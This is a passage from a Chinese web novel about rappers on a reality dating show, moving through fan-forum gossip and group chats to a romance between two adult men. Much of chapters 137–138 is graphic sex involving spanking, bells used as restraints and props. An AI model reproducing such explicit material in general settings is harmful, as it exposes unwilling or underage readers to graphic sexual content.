小三谁都没理,只一味继续激情输出,发表自己的大作与著名言论《关于为什么K哥不再穿无袖背心这件事》。 他码字道:众所周知,K哥以前混livehouse时都是只单穿一件无袖背心的,热场唱嗨了时还会给身上倒酒。那背心特别薄特别透,一沾酒水就贴身上什么都看得一清二楚了,简直比脱光了还要色。而且K哥一米八八,那宽肩窄腰的好身材完全是圈内公认的顶级,当时每一场台下粉都发疯恨不得他立刻给自己身上倒酒,为此S-B那些还专门在他喝水时捣乱,但自从走起来后K哥就不怎么露肉了,为避免伤风败俗还留了半长头发,换了种风格开始新中式起来,平日里除了束腰外整套衣服又宽又松什么也看不到,不过倒是因为衣服有点太宽松了,手就那么呲溜一下很轻易就探进去顺着腰线乱摸……好吧,我铺垫这么多就是想说,因为狐狸男被我揉大了cup,奈子又圆又完美,他死要面子所以每天都需要穿宽大衣服遮掩巨茹,不再穿无袖背心是为了防止你们看到我的牙印。 原配:? 小四小五小六:?? 小108611:哦哦这样啊原来K哥还会茹摇啊! Jmkeado对此评价道:……,他无话可说,他真的死要面子,但凡里面的K哥不是自己他都能调侃几句。 现实里,他只能把界面拉到最下方,点开回贴,艾特了三遍管理员,并无助地发了句:算是造谣了啊,这不屏蔽?@管理员@管理员@管理员 管理员秒回他道:您好,未检测到造谣成分,在此论坛粉丝有创作自由。 茹摇宠物哥Jmkeado:……? 眼不见心不烦,他再次一键屏蔽节目论坛,随便地想屏蔽不了就不屏蔽了,举报没用就不管了当没看到过就好也不牵扯什么。 佛系公司里的佛系rapper寂寞诗人扒拉出电脑角落里闪烁的微信图标,在兄弟群里艾特发链接的人,问这离谱玩意都看得下去,哥们你暗恋我啊? SomeE道:兄弟你好香。 Jmkeado回:兄弟你诗人? SomeE再道:兄弟,兄弟…… SomeE:所以bro,你们节目第四期是个什么回事? BuffCd:我知道啊我知道啊,哥们为了daddy开通了648块钱的超级VVIP大会员,可以率先看十五分钟先导片,总结来说,就是寂寞K在节目上给自己找了个爹。 SomeE:?我去,真假的?!从实招来啊,快说是不是沈爹! Jmkeado慢悠悠道:wow…原来我找了个爹吗? 节目组匿名短信的规则更改后,按道理来说Jmkeado最新的短信应该发给那个前男团爱豆,两个人上节目前曾在视频网站合作过一首情歌,在观众心里属于有旧情存在。 而另一位连续把短信发给蓝澜的人——论坛猜测他会发给那个舞蹈老师——因为沈策熙是他老板,这何尝不算是一种旧情。 但在预告片内这两个人互相都发给了对方。cp粉想没事啊没事啊至少三角恋没变成五角恋,说明我们三角形具有稳定性,两个人明知撞号还都互相发给对方,这不就正好代表他们心里都有蓝澜吗?!扶我起来我还能磕! 然后下一秒,她们就看到Jmkeado在客厅叼着酸奶袋子给沈策熙发【TYdaddy】,后者同一时间在阳台打开钢琴,也给他发送【戒指的图纸已经发给工作室,还想要什么?】 观众:嗯?布兑,这什么走向?! 讲真的,Jmkeado发这个词单纯是觉得好玩。沈策熙的人设实在太过深入人心,群里的好兄弟们也每天都在daddydaddydaddy,跟一群孤儿似的四处认爹,他跟这群孤儿聊着聊着就刚好到了短信时间,想也没想顺手就发出去了,没想到沈策熙也刚好给他发了短信,这一幕被节目组剪出来竟然如此暧昧不清且无法解释。 TY是感谢,daddy就是daddy。Jmkeado把右手拇指上的扳指弄丢了,象牙镶银星座主题,是他找人私人定制的一整套,不怎么贵,但失去了一环整个就不完整了,相当于星座能量阵现在缺了个角,也没法再戴。 这些乱七八糟的小饰品某种程度上决定了一个rapper的swag程度,项链戒指手链耳坠…Jmkeado对于这些小玩意向来很重视,找不到就有点睡不着觉,凌晨一点还在客厅闷闷地喝冰可乐。 应酬回来的沈策熙路过客厅看到了他,随口问了句这是怎么了,Jmkeado说没啊我在打游戏,几秒后又说好吧兄弟,我在找戒指。 沈策熙停下脚步:“嗯?” Jmkeado举起右手,没骨头一样陷进沙发里眯起眼睛看人:“喏,少了一个啊,是不是很不完整?” 沈策熙挑眉:“就为了这个,半夜在这里喝可乐?” “很重要的啊,”Jmkeado如他所说又喝了口可乐,懒散道,“怎么会是‘就为了’呢?” 沈策熙松了松领带,俯下身将手肘撑在沙发靠背上,用被黑手套包裹的指节轻轻敲了敲可乐罐,再顺势把它从懒蛋的左手里抽走放远了点。 Jmkeado有脾气,但实在懒得吵架,表现在他把语调拖长了些以示不满:“嗯……?” 什么也没说,他就这样单纯“嗯?”了几声,突然察觉到自己和沈策熙的距离有点太近了,这个姿势也很古怪,两个人之间的距离近到他可以清晰的在面前人泛金的瞳孔里看到自己眼尾的痣。 连可乐也不管了,Jmkeado动也不动地盯着他看,发现沈策熙哪哪都长的挺好看的,垂眸看人更是有一股说不清的特殊味道,照论坛的话来讲就是感觉下一秒就要叫人脱衣服了。 Jmkeado曲起长腿搭在茶几上,委婉地隔开人道:“宝贝儿,我们是不是有点太暧昧了。” “这样也算暧昧啊,乖乖?”沈策熙身上还带着几分甜辣的酒香,看样子的确是喝多了,什么鬼样的称呼都从嘴里蹦出来了。 他用黑手套拨弄了一下Jmkeado耳侧的铜钱串,点在下巴那颗痣上,视线扫过这人喉结处被古巴链压出来的深色印记,染笑道:“不如这样,我正好认识一家靠谱的工作室,最近要订条项链,刚好给你也做套新的。” 最后一句话是句号不是问号,这对于沈策熙来讲是通知不是商量,Jmkeado被赶回房间睡觉,第二天醒来就收到他发来的七版不同的戒指设计图纸,让他从里面挑两套喜欢的,一套戴手上一套留着备用。 SomeE听完前因后果,说乖乖再这样我都有点磕你们了,Jmkeado说别那有点太超过了。 SomeE对着Jmkeado一键转发到群里的设计PPT嗯嗯感叹:什么daddy,这压根是我素未谋面的活爹啊!这玛瑙不是什么收藏品我是一点也不信,就这纹理这色泽,我粗略算了一下定出来得一千多万,拿来打戒指完全暴殄天物,他是不是真对你有什么想法?魅魔小K你要不从了吧?发达了让哥们也跟着沾沾光。 Jmkeado呵呵回复:我不当狗。 KingTT:别纠结当不当狗了,Buff在直播间把你俩都快喊烂了,JKSB你俩人呢? Jmkeado:1 SomeE不死心道:不行啊兄弟你先别走我们聊完,都送戒指了真没什么进展?不尔你小子别诓我啊! SomeE:还是不好意思给哥们说?哇哦这样的话乖乖你完蛋了—— Jmkeado:我真想把你嘴缝上了。 SomeE:乖乖你舍得吗? SomeE:^^ KingTT:我有点犯恶心了,口区口区@了你在这给我说还行? 好优美的中国文字。BuffCd说:SomeE是在说颠鸾倒凤发了情了忘了狠了搞在一起了。 KingTT问他是怎么准确理解出来这离谱的英文字母的。还行的Jmkeado谁都不搭话,SomeE便往群里甩了一个链接。 http://后紧跟着的首字母开头非常熟悉,Jmkeado有种不太好的预感,果不其然,这是个论坛链接。 但和粉丝造谣yy口嗨pk安利存图等帖子不同,那帖子是个内鬼爆料帖,帖主ID叫王霸老鬼,标题是《【吃瓜/BLX慎入】哥狗爹六期更新Ⅰ闲,你问我答》。 一楼题干简单写着十个字(含标点符号):吃火锅没事干,随便问 王霸老鬼,Jmkeado听过这个人,圈内但凡上过综艺的rapper都要专门出歌大肆“称赞”一下这人的职业素养。一般代称是霸哥,粉丝量不低,专职爆料洋柿子台的综艺内幕。吃瓜群众一致认为他是里面的工作人员,职位应该不低,或者要不就是眼线通天的人脉哥,因为爆的基本全是真料,看着比粉丝口嗨还要有趣,之前SomeE在换乘综艺搞男搞女也是他爆的,黄毛男SomeE对此十分得意,成为首个没有diss他的综艺哈男,只潇洒地将这段经历写进了歌里。 Jmkeado犹疑着点进去,霸哥是在昨天晚上18:32开的帖子。前五十楼都是零零碎碎的杂谈和占楼问好,五十楼后他回复一个问“我们阖家欢里到底有没有真情侣”的人,说有啊有啊我们恋情当然有进展,【狐狸emoji】【钱袋emoji】甜蜜花园吻,粉丝一连串的留评“?????”。 任帖吧众人在评论区扣烂了问号,王霸老鬼自潇洒地回了句爱信不信,后面大半夜,突然又爆了一句两人搞了。 吃瓜群众震惊:哥们你说哪两个?我靠K哥跟沈爹,我年龄小不懂事啊霸哥你别逗我,这句话我当没看到我们把时间倒回去重来一遍吧好吗嗯嗯 霸哥冷酷地打断群众幻想:监控开着,都看到了,录像发不了,签了合同。 瓜友纷纷表示我去刺激那哥你看了现场不行啊这等好事不叫兄弟,谁搞谁啊?霸哥不语,只分享了Jmkeado最火的那个帖子的链接。 霸哥:亲了,搞了,哭了,爬了,转移阵地了。 好一个言简意赅,瓜友叹气,以为真瓜王臆想出假瓜了还拉了邪门cp,霸哥皱眉:我一男的我看那帖子我有病? 男的又不一定是直的,瓜友说好吧还有什么仔细说说,霸哥又说其他没注意,就是狐狸腿是真长。 ——这叫没注意? 霸哥:那注意什么,难道我还要对着他冲吗? Jmkeado沉默着拉黑了帖主。 他没回沈策熙的微信,后者下午回来时没拿冰淇淋,但是拿了一包冰淇淋甜筒样式的棉花糖,浅笑说还没到九点所以不能买一送一,这有点可惜。 没有邀请,也不在询问,打比方的话,沈策熙的这句话就是剧情游戏里不能跳过且强制接取并必须执行的对话任务。 Jmkeado把棉花糖塞进嘴里,有些甜滋滋的,味道不错,看包装就很高级,数量也不多,他抬头瞥了一眼沈策熙,支着下巴开口问:“那九点的话,你要陪我去吗?” 灰毛男又是那副懒洋洋的样子窝在沙发上了,像是被抽走了骨头,整个人透着一股与世无争的倦意。沈策熙看得有些想笑,走过去捏了捏Jmkeado的脸:“当然,我接你去外面吃饭。” Jmkeado懒散笑起来:“我们两个?” “不然呢,乖乖?”这次是沈策熙反问他了。 他捏住Jmkeado的下巴俯身,站在客厅夕阳漫溢的余晖里,再自然不过地凑过去贴住了他的唇瓣。 …… 灰毛狐狸男和长发daddy在接吻,蓝澜踏进门后看到的就是这一幕。 身为百分百冲浪达人,他在回别墅的车上就刷到了那篇王霸老鬼的爆料帖,小花园的美好亲昵,以及晚上更直白的表述。这两个原本该走修罗场路线的两位主角一号居然真的搞在了一起……回忆起昨天Jmkeado和沈策熙在席间的反应,和之前的种种,蓝澜发现自己好像真的成为了笨蛋。 老实说,他现在的心情有些复杂。 倒不是愤怒或嫉妒,更像是一种混合着惊讶、好奇和微妙不甘的兴奋。蓝澜从上节目起就没打算攻略Jmkeado,也觉得他看起来实在不是会开始一段感情的人,但是现在这个人,这个人竟然可以这样…缠绵的,沉沦的,诱人的,那画面势必有着惊心动魄的绯艳,难以想象——从一开始他就对祁泞唯说过,他也挺想和Jmkeado搞一发的。 来节目就是为了约,Jmkeado和沈策熙看起来都不像是这样,尽管他们才是最值得警惕的那类,那难不成他们背着所有人在谈恋爱? 蓝澜的眼睛猛地亮起来,像是发现了什么极有趣的事,那点微妙的遗憾瞬间被抛到脑后,转而燃起熊熊的八卦之魂。 Jmkeado,在床上都懒得动,被怎么对待都没关系,看起来和外在闲云野鹤的形象实在不符。FollowPD在耳麦嘎嘎笑,说嘛,虽然达成协议了但是想要话题啊话题,小狗小狗你要不去添把火? 蓝澜弯眸:“好主意啊!” 他在沈策熙走后卡着点闪进客厅,露出湿漉漉的小狗专属微笑,眼睛亮晶晶地问:“一绝哥,我也可以亲你吗?” Jmkeado叼着棉花糖慢吞吞地嚼嚼嚼,闻言抬起手给他嘴里也塞了一个,再随手揉了揉蓝澜的头发。 嘴角下的痣旁边沾到了些碎屑,蓝澜眨着眼睛对着他看,心想眼尾那颗痣也生得正好,亲一亲就会掉眼泪,泪珠落到脸颊那颗痣上,再和鼻尖的那颗纠缠在一起……没注意到面前的人手刚收回去就顿住了。 不知道想到什么,Jmkeado的脸色有些微妙,不过一瞬便恢复正常。 他喂蓝澜像是在喂狗,沈策熙昨天揉他也好像……灰毛狐狸男把嘴里的棉花糖咽下去,垂眸看了眼手中皱巴巴的包装袋,啧一声把它塞进了蓝澜怀里。 蓝澜好像在盯着他发呆,这家伙不会真傻了吧? Jmkeado没怎么在意,心里想着沈策熙应该不会就是单纯为了搞他吧,虽然成年人之间的确哪怕不确认实际关系也能自由地发生身体关系…… 他凝着眉拍了拍小狗的肩膀,随口留下一句“小朋友不可以接吻”,径直潇洒地起身回了房间。 第137章 晚上沈策熙要和Jmkeado出去吃买一赠一的双球gelato, 其他五个人鸡飞狗跳地做完饭,惯例坐在沙发上看电视聊天。 没事干不玩游戏纯聊天,好在观众就爱看这一口尬聊, 导演看了都说也行也行。 电视上在放青春痛痒校园恋,主角是由二十七岁演员饰演的十七岁女高中生,蓝澜演被女主暗恋的同桌, 朝气蓬勃活力四射神采飞扬谁看了不说一句好个生龙活虎的初恋小子……田星乔掩面道:“就我感觉坐着好累说话好累呼吸也好累么,不行了,年龄到了, 这是属于我们二十七岁中年人的疲惫吗?” 祁泞唯吃着水果, 接话说这有什么,我都马上二十五了。 李安怀侧头看了眼他。他一个研究生今年才二十五,但之前混娱乐圈的经历作祟, 让他没有擅自突兀开口。 一旁的桑嘉年问:“因为你公司那个事?” 祁泞唯无所谓地点点头:“对啊,之前和公司打官司休学了两年,但也没耽误什么,所以我觉得还行啦。” 祁泞唯和李安怀是七人中唯二的两个在读大学生, 后者是退团后才考的大学, 现在已经读了研,所以天天全妆、容貌眣丽的祁泞唯理所当然就被归咎为年龄最小的那个。 田星乔犯迷糊了:“那你们里面谁最小?” “年年还是小狗?”祁泞唯想了想, “他俩差不多大,不过如果是说我们所有人的话, 那肯定是K豆啊。我算算,上次看他是几几年的来着……嗯…他好像才刚二十。” 田星乔有点惊讶:“Jmkeado?” 这人的确看着不大,但平时说话的语气都给人一种很成熟的感觉,田星乔没想到能这么小,仔细回忆了一遍, 不由得再问了一句真的假的。 “真的啊,”祁泞唯说,“K豆十六岁就在地下混出名堂了,那会儿我上大一,跟着朋友买票去看过一场八英里。他在台上一会儿飙英语一会儿说俄语一会儿讲中文的,下面人就突然喊one more,one more——我当时还不知道这什么意思,就跟着一起喊了,挺嗨的啦反正,然后我朋友说他才十六,是个天才,所以印象还挺深的。” 李安怀懂了:“之前人设是立本热血漫,现在变成水墨风国漫了。” “这就不太好了,”桑嘉年正襟危坐,“我还一直叫他哥呢,他现在倒欠我多少声?” “你不会要他叫回来吧?”祁泞唯开起玩笑。 难道不要吗?蓝澜搅着手里的酸奶杯想,那Jmkeado还天天喊他小朋友?自己根本就还是个小孩儿。 小孩儿Jmkeado确实刚二十出头。 他去年刚大学毕业,不过因为性格和处事方式太过慵懒从容,总给人一种浓厚且无需质疑的信赖感。 那感觉并非刻意,而是一种从骨子里透出来的,已经经历过很多事情的随性,所以大部分人在面对着他时,一句“哥”就这样自然而然地脱口而出了。 这也不能够怪他占便宜,很多事情不由年龄决定,如果都是年轻人,那人生的阅历也不能够凭借岁数界定,有的人天生所获得的、所表现的就比常人要多,Jmkeado就是其中一种——按照大众说法,他再小点就要被称为小孩哥了,还是出门要吃双球冰淇淋的那种。 巧克力薄荷和奶油焦糖,沈策熙问他味道怎么样,Jmkeado蹲在红绿灯指示牌旁边,叼着插在冰淇淋球上的卡通饼干抬起脸,对着他点了点头。 “比开心果的好吃。”Jmkeado说。 他和沈策熙就这样在十字路口一个蹲着一个站着,工作人员在后方阳光照不到的阴暗墙角里扛着摄像机对准他们,心想挑冰淇淋只用了三十秒,怎么吃个冰淇淋吃了半小时还没吃完,又不是约会时需要控制食量的小女生,难不成这就是热恋期小情侣吗? 做过的就是不一样。节目跟拍莫名感叹起来,继续拉近焦距——性能好的摄像机哪怕隔了一座山也能将人拍得一清二楚,更别提现在只离了一条街——镜头里的沈策熙只提着一个超市的购物袋子,正低头对着Jmkeado微微笑着说些什么,几秒后,灰毛狐狸叼着饼干站起来凑了他面前。 你要尝? 好像是在说这个,按照口型的话。 Jmkeado凑到人面前的动作闲散又随意,风一样轻飘飘贴过去,像是已经做过好多遍那样将饼干咬断推到沈策熙嘴里。 ……往下一点,他含糊地说。面前这人的身高摆在那里,保持这个姿势超过两秒会有点累。 沈策熙低了低头,扣着Jmkeado的手腕让他把胳膊搭在自己肩上,在揽住腰的同时轻轻碰了下嘴唇里探进来的舌尖,狐狸男眯了眯眼,也索性一口咬住他的唇瓣。 不怎么疼,沈策熙捏了捏他腰侧的凹陷,Jmkeado推开他的手,倚到柱子上开始挖冰淇淋。 上面的饼干倒只是最普通的巧克力饼干,小猫形状,算不上多好吃,但总有一种很好闻的香水味道,或许还沾了点唇上薄荷的清凉,沈策熙抽出一张卫生纸垫在他手心,再拨弄一下这人耳垂与手链配套的新铜钱耳串。 黄铜色的古钱币下,长长的流苏一直坠到肩膀,少部分发丝与它缠绕在一起,沈策熙语气低缓:“这算不算一次约会?” 他刚去房间接人就看到了,Jmkeado把自己送给他的饰品都戴在了身上,走路时红色手串的铃铛叮当作响,听起来好乖好乖。 “不算? ”Jmkeado含着勺子勾了勾唇,把自己收拾妥当再出门是精致潮男的必修课,合理利用礼物当然也是,不过再看了眼沈策熙,他懒洋洋地补充道:“如果不算……那我为什么还要亲你?” 虽然现在已经过了晚上九点,但路边散步纳凉的行人并不算少,更别提两个人还站在明晃晃的红绿灯下面,姿态亲昵,气质出众,显眼地有些突兀,已经引来好几个路人好奇与窃窃私语的目光。 沈策熙的手从他耳畔的流苏滑过去,隔着一层薄薄的手套捏了捏Jmkeado后颈处突起的骨骼,没有过多的言语,两个人心有灵犀般地在绿灯亮起的瞬间迈步,穿过斑马线,走过人群,又转而拐进了一家酒店。 Jmkeado接过房卡时还在想这流程是不是太简单了,虽然约会的目的某方面来说就是为了生命和谐,但也不用这样直奔主题。 这样下去,不过几天就能把过去二十年里没搞过的身体关系全都搞了,SomeE听到都要大喊一声兄弟牛啊兄弟你真可以…… 特别可以的Jmkeado曲起一条腿,在洒满玫瑰的大床边整理好心情,将手指搭在自己衬衣腰侧的绑带上,几秒后,他又把那端绳子递向在床边椅上坐着的人。 “daddy,”他低低叫人,决定还是把主动权交给沈策熙,很简单地示意道:“你要帮我脱吗?” 耳麦和摄像都被隔离在房间外面,沈策熙编辑完单方面通知给导演的消息,放下手机拽住那根绑带,还没怎么用力,只指节轻轻一扯,衬衣就直接从肩膀处滑落到地上。 “……” 要不是从进门到现在两个人都没什么其他动作,沈策熙都要以为这是Jmkeado专门准备好的邀请了。 但没有提前准备就意味着,这人刚刚就是穿着这样一件很容易就会走光的衬衫,就那样和他在大街上走了整整一路,就像在邀请任何人随时随地都可以去扒他的衣服……沈策熙的动作轻微停顿了下,转而将衬衣拍到他柔软的胸口:“穿好。” Jmkeado也显然猝不及防,露出了一丝愕然,又很快整理好表情,恢复了那种不露怯的懒散姿态。 他下面没穿内搭,颀长丰满的身躯毫无遮掩地展露在空气里。上方昨天残留的印记都还没有消掉,暧昧的红痕与浅淡淤青在雪白上交错分布,多是被皮革手套拍打出来的,Jmkeado的皮肤常年不见光,脆弱而又敏感,很容易就会留下痕迹。 黑裤被夹在腿间,Jmkeado穿上怀里的衣服,没有系绑带,又很自觉地把前方的纽扣从上到下都解开,按住不停铃铃铛铛的手绳侧头去瞄沈策熙。长发daddy仍然是那一副微微笑的表情,眼神温柔却具有压迫感,看不出来有没有这方面的欲求,不外乎粉丝都认为他会是性冷淡。 但昨晚哭也有一半是因为舒服才哭的……Jmkeado塌下腰用手肘撑住自己,指尖不自觉探去摸了摸大腿侧的浅粉爱心,那里昨天被反复磨过太多次,附近的皮肤也都一并泛着细微的刺痛,稍稍一碰便软了膝盖,生出无法被忽视的酥麻痒意。 他的脑海在自动翻涌着昨天被沈策熙毫无怜惜对待的画面,那些回忆侵袭漫入四肢百骸,脸颊熟了似的无辜自燃,Jmkeado晕头转向,目光渐渐迷离起来,感觉房间温度正在飞速升温——也可能是他在发烫。 沈策熙贴着昨天的指痕掐住他的腰窝,那双黑色的手套温度冰凉,激得浑身滚烫的Jmkeado下意识并起双腿,不受控地扭起腰来,发出一声短促的混音:“等一下——” “趴好。” 又是一个以好字组词的二字词语,沈策熙的手探进衣摆,顺着背脊骨一路缓缓向上揉捏,最后移动至前,停留在他慷慨的胸膛。 难以形容的一种感觉顺着沈策熙的手指在背脊层层涌动,最后蔓延到身体,Jmkeado大腿肌肉被迫紧绷,敞开的衬衣随着姿势下垂,却仍然掩盖不住这双一览无余的长腿,肌肉线条匀称而流畅,该细的地方细,该有肉的地方一点不少,丰腴且触感细腻,很适合盘在腰上肆意把玩。 不过上下齐攻地动了没几下,Jmkeado整个人便都软了。明明套着衣服,却在沈策熙面前完全是赤裸,咿咿呀呀地发出泣声,合起来都不能称之为一句完整的音节,被挑逗到急不可耐,最后开始哭着小声地求。 才第二次就知道求了,学的这样快。 昨天还只会摇着头说不要,受不住时只会往一边躲,眼睛弥漫着雾气,神志不清地不知道要躲去哪里,最后便是在床上四处乱爬。 沈策熙捏住他的小腿弯折起来,按着Jmkeado另一边的大腿,给他左脚脚腕系了条红绳,上面编着个迷你和田玉的平安扣,还挂着小铃铛,动一下响一声,配合着手腕上的那条一起,铃铃当当地在房间里响个不停。 Jmkeado都不知道是该捂嘴还是该捂铃铛——按住手腕那个,但脚腕那个还是在随着动作响,紧接着手臂酸软颤抖,手腕上的也跟着响起来,无措感在这瞬间爆棚,他根本没经历过几次晴雨的折磨,对来自外部的快意耐受度很低,轻易就溃不成军丢盔弃甲。 他把脸埋缩在手臂后小声吟叫,随后很快变成意味不明的呓语,瘫软在床上想把自己团成一团,却连缩起来的力气都没有,于是扒着一旁的被子又继续呜呜咽咽地掉眼泪。 这副样子简直太好欺负。 沈策熙直接把人翻过来,双手攥着手腕拉开,俯身看他时长发垂下来拢在脸旁,宛如精心编制的囚笼把灰毛狐狸困在了里面——而Jmkeado刚刚被上好脚镣,眼角的泪痣上还挂着泪珠,在晕散的灯光下漂亮得像一副情/色艺术品。 沈策熙用手套去摸他的脸,Jmkeado摇着头躲,最后侧过脸不看他。 “乖乖,”沈策熙去亲那几颗痣,轻声哄他,“生气了吗?” Jmkeado被揉得又舒服又羞耻,做不出来任何表情,他脑海叮当作响,根本听不清沈策熙讲话,只顾着一个劲摇头表达自己的意思,没怎么用力地去推他:“…能不能摘了手套……” 他被皮革蹭的好痛,倘若真有狐狸尾巴,那灰毛狐狸男现在势必要拿尾巴去扫沈策熙的腿了。没想到那句话随着推拒的动作说出来,沈策熙往后退了退撤开身子,站到床边摘掉手套,然后就莫名其妙站在那里不动了。 这是要干什么。 为什么站在那里?为什么不再碰我?Jmkeado脑中一片混乱,既不解又焦躁,盯着看着自己沈策熙,浑身软得提不起一丝力气。 这人不会真就是单纯为了搞他吧,感情经历为零,在他之前xxoo经验也为零的Jmkeado有了点脾气,四肢并用着移动到沈策熙面前,手臂软绵绵地环住对方的脖子,将他按进身后的椅子里,紧接着整个身子也跟着压了上去。 带着哭腔的喘息里混着不自知的艳情,Jmkeado坐在沈策熙腿上又继续低头对着他看,两个人鼻尖相抵,呼吸交错,做出大动作的灰毛狐狸却好半天都环着他只喘息不说话,一时半会只剩下还未停歇的铃铛还在响。 沈策熙还在想他刚刚爬过来的那几步,简直色的超乎想象,整个人,脸,身体,还是其他地方都漂亮得要命,铃铛果然很适合他……于是伸出手揽住Jmkeado腰,自然地凑过去亲他的嘴唇:“怎么了,乖乖?” 有脾气却懒得生气,见他这样又没了脾气。素质很高的Jmkeado其实连问都懒得问,但是不问的话心里难受,只好掉着眼泪问:“……你是要搞一夜情吗?”顿了顿,他又慢半拍地纠正,“……两夜情。” 听起来好委屈巴巴,沈策熙以为自己的表现已经很明显了,一想到他方才的行为便有些失笑。 “怎么这样可怜呢……”沈策熙说,“嗯?乖乖,为什么会这样想?” “不都是这样的吗,”Jmkeado声音又哑又低,“而且你都把我搞了,我……”他不知道该怎么说,一时半会儿完全组织不了语言,连睫毛也湿漉漉地垂下来,干巴巴道,“……你还想怎么样。” 沈策熙再吻了吻他。 “不是这样。”Jmkeado眼尾泛红,指控道,“你还是只想着搞我。” “那如果我只像这样亲你呢?” “很多人都想亲我,”Jmkeado想了想,慢慢地说,“我遇到过很多人,但他们都不怎么样,相对而言,你也遇到过很多人,而你遇到的可能比我更多,以后也会是……” “那我也从来没遇到过你这样的。”沈策熙懂了,伸手捧着他的脸回答,“也没有这样喜欢一个人。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【END】 第138章 Jmkeado坐在他腿上低头看他, 那双蓝色的眸瞳含了水,潋滟而湿润,微微眯起时泪珠要掉不掉, 勾人得有些超过。 沈策熙捧着他的脸,没忍住再去吻了吻那颗坠着水光的泪痣,对方的睫毛在细密地颤抖, 他突然发现,Jmkeado的一切好像都和蓝色紧密相连。 从眼睛开始,到气质, 再到整个人……沈策熙猜测他大概不是远东来的血统, 那色彩是浸着薄雾的浅蓝,这很奇特,很难让人不去喜欢。 他们在椅子上又做了一次, 然后转移到落地窗前,沈策熙揉揉他,然后伸手去摸他腰侧的骨骼,Jmkeado小声喘息着扒住冰冷的玻璃, 胸膛被粗糙的纹理面压得泛起一片疼痛, 在黑沉的夜色里,从窗玻璃上看到自己不知餍足的下流姿态。 没有遏制自己的声音, 敏感的身体让他意识涣散地只会发出持续的呜咽与乱叫,平日里散漫的嗓音被夹得甜腻, 只剩破碎的喘息,混乱不清地黏在喉间,听起来可怜到近乎委屈。 论坛的那篇帖子还写了什么,沈策熙揽着他的腰回忆,那些粉丝在想的事情肮脏又色情, 想象一回到家灰毛狐狸男就蹭到怀里很媚地笑,跪下来用嘴来拉自己的拉链,尾巴一勾头贴过来抱着衣服嗅,然后很委屈地问回来这么晚是不是在外面有了别人,不理的话还好,抱住他便又开始掉眼泪了,被搞得说不出话只知道哭,还要哽咽着问只要我一个狐狸难道不好吗? 粉丝说太可恶了怎么还倒打一耙,按设定明明是K哥在外面还有好多个人,一个两个三个四个…被别人搞得乱七八糟才会耷拉着尾巴来找自己,然后再被按在地上狠狠惩罚一遍。 有人细分道狐狸男之间各有不同,大致可分为三类,一类是运筹帷幄型狐狸男,一类是风流潇洒型狐狸男,然后第三类是烧货。Jmkeado属于那种又懒又会勾引人的,一旦被人搞过一次便会上瘾,看着水墨竹纹风度翩翩的,其实被拉到大街上的小巷里野战也只会觉得很爽吧。 都有点像,沈策熙想。 搞在一起后他搬到了别墅一楼的那间客房,拆掉里面的摄像头就直接入住。键盘还在墙角放着,连着电脑软件,Jmkeado坐在上面被从后方掐住腰,稍微动几下身下的音阶就开始响,模糊的呜咽求饶声混杂着脚腕的铃铛一起被收录在录音器里,最后只剩下控制不住哭腔的媚喘。 被欺负狠了他也只会一边往侧方向躲一边哭着□□,沈策熙拍他用的力道太重,胸口大腿红肿一片,便会掉着眼泪爬过来吐出一点舌尖,抽噎地说也可以玩自己的嘴,没想到对方使用了道具,全身上下都被雨露均沾地照顾到,Jmkeado没几下就受不了地晕过去。 不是叫就是喘,稍微一被碰还要委屈地哭,怎么还这样喜欢邀请人……沈策熙停了手,把困懵懵的委屈狐狸洗干净抱回房间。 但也只有在晚上才会哭,白天Jmkeado又恢复到那副风轻云淡的懒散样子,扬扬眉轻飘飘地和人讲话,一副什么都懒得管懒得看懒得搭理的随性态度。 沈策熙每隔三天惯例带他出门吃买一赠一的gelato,在选冰淇淋口味时才会表现出一点符合年龄的小孩气性。 懒得动的人愿意陪你出门就可以算是真爱了。 Jmkeado除了和沈策熙出去外,大部分时间都待在房间里懒得动,写一会儿歌就开始窝在椅子里打游戏,饿了再去厨房储物柜随便捡点东西吃。 其他人基本都要管理身材,田星乔社畜一个,不乐意上班受罪下班录个综艺还要受苦,通常是会和他一起在厨房柜子里刨小零食的那个人。 两个人默契相遇的时间基本都不在饭点,Jmkeado把冰箱翻了个底朝天,咬着棒棒糖探头,问坐在餐厅的零食搭子还有没有可乐。 自从知道即墨颐玦年龄后就自然而然地糊了层滤镜,大龄青年田星乔抱着刚煮好的云吞坐在那里,被他这样一问,突然有些心虚,莫名感觉自己有点欺负小孩儿,因为他刚把最后一罐喝了,要是李安怀在这里肯定会说他不怎么道德,这么大年龄怎么还抢小孩儿零食。 好在小孩哥Jmkeado是个懒蛋,压根懒得多问,拿了包酸奶再拿了根冰棍就钻回房间,给沈策熙一个字一个字地发消息说自己没有东西吃了,发出去前又删掉,换成了语音输入。 怎么会没有? 冰箱里基本都是熟食,微波炉热一两分钟就能吃,沈策熙想着基本白天就他一个人在,中午还专门点了酒店的专人外送,但Jmkeado基本每天都只吃点零食,还特别喜欢冷饮配冰棍,乱七八糟的小零食下肚就算饱了,没人管的话其他东西一点也不沾,或者送来等饭凉了才想起来有这个东西,反正长这么大一直都是这样过来的。 可一个成熟完美的有钱男人是不会质疑心上人任何话的,沈策熙发语音说乖乖等我下班带你去吃海鲜,你先从田星乔那里拿点东西垫垫肚子。 于是社畜田星乔抄起锅铲开始煮饭了。 他的FollowPD连忙大喊田老师您别搞啊我们这里有daddy点的下午茶,已经给K哥送过去了,我们这么大的人了都就不要在家里玩火了吧您觉得呢? 田星乔觉得很对,然后他也要了一份下午茶。 FollowPD敲门时Jmkeado还在叼着冰棍和SomeE连麦商量倒数第一段beat的混响要用什么,升key还是降key,他要唱的出来。《黄桃罐头今日半价》正式定名为《Cosmic Oracle》,是沈策熙起的名字,翻译过来是《宇宙先知》,他打算先把这个单曲出了,至少赶在节目收官当天发布。 节目收官当天,最后一次的最终选择,也就是下个周六。 SomeE问:“那你想没想和沈爹在一起?” Jmkeado按着鼠标,一时半会没有回答这句话。 该怎么说呢……他想,喜欢是一种微妙的情感。 这个世界上有七十多亿人,而在这七十多亿人里,却只有那么一个或者几个才能让你的多巴胺、去肾上腺素、催产素等化学物质进行反应从而激发你的愉悦感、亲密感和星欲,这实在是很神奇。 因此从某种意义上来说,人这一辈子能够遇到真爱的机会太小,相信电影里那些转角遇到爱,甚至还不如洗洗脸去楼下刮两张彩票赚个回本,不赚不赔仅仅图个乐子,更别提在恋综这种地方,有些不可思议……但是他遇到的是沈策熙。 要在一起吗?Jmkeado没思考过这个问题,他根本没谈过恋爱,可如果不选择他的话,也没有什么人要去选了。 